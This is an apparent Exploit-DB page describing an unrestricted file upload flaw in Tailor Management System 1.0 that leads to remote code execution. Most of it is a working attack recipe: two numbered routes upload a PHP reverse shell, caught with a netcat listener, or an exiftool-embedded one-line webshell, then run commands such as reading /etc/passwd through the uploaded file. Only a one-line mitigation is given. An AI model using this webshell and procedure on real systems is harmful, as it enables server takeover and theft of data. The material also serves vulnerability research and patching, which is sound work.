header-logo
Suggest Exploit
vendor:
Tailor Management System
by:
Saeed Bala Ahmed (r0b0tG4nG)
9.8
CVSS
HIGH
Unrestricted File Upload to Remote Code Execution
434
CWE
Product Name: Tailor Management System
Affected Version From: Version 1
Affected Version To: Version 1
Patch Exists: NO
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: Parrot OS
2020

Tailor Management System 1.0 – Unrestricted File Upload to Remote Code Execution

Tailor Management System 1.0 is vulnerable to unrestricted file upload to remote code execution. An attacker can upload a malicious image with the code 'exiftool -Comment='<?php system($_GET['cmd']); ?>' r0b0t.jpg' and rename the malicious image to have include a '.php' extention. Then, the attacker can log in to the CMS with any valid user credentials, select Measurement Settings and click on 'Set Measurement Parts', fill the required details and upload malicious image. After that, the attacker can select Measurement Settings and click on 'View/Edit Measurement Parts', use the search filter to find the measurement and click on 'edit' to edit details. Then, the attacker can right click on the broken image and copy image location. Finally, the attacker can paste image location in browser and execute arbitrary commands.

Mitigation:

The application should validate the file type before uploading it to the server. The application should also restrict the file types that can be uploaded to the server.
Source

Exploit-DB raw data:

# Exploit Title: Tailor Management System 1.0 - Unrestricted File Upload to Remote Code Execution
# Exploit Author: Saeed Bala Ahmed (r0b0tG4nG)
# Date: 2020-09-18
# Vendor Homepage: https://www.sourcecodester.com/php/14378/tailor-management-system-php-mysql.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14378&title=Tailor+Management+System+in+PHP+MySQL
# Affected Version: Version 1
# Category: Web Application
# Tested on: Parrot OS

Step 1: Log in to the CMS with any valid user credentials.
Step 2: Select Measurement Settings and click on "Set Measurement Parts".
Step 3: Create any php payload on locally on your system. ( i used the default php webshell in /usr/share/webshells/php/php-reverse-shell.php)
Step 4: Fill the required details and upload the php payload you created using the image upload field.
Step 5: Select Measurement Settings and click on "View/Edit Measurement Parts".
Step 6: Start netcat listener.
Step 7: Use the search filter to find your measurement and click on "edit" to trigger the php payload.

========================== OR ==========================

Step 1: Embed an image with the code "exiftool -Comment='<?php system($_GET['cmd']); ?>' r0b0t.jpg"
Step 2: Rename the malicious image to have include a ".php" extention. Example ( mv r0b0t.jpg r0b0t.jpg.php )
Step 3: Log in to the CMS with any valid user credentials.
Step 4: Select Measurement Settings and click on "Set Measurement Parts".
Step 5: Fill the required details and upload malicious image you created using the image upload field.
Step 6: Select Measurement Settings and click on "View/Edit Measurement Parts".
Step 7: Use the search filter to find your measurement and click on "edit" to edit details.
Step 8: Righ click on the broken image and copy image location.
Step 9: Paste image location in browser and you will have RCE. ( http://localhost/img/part/r0b0t.jpg.php?cmd=cat /etc/passwd )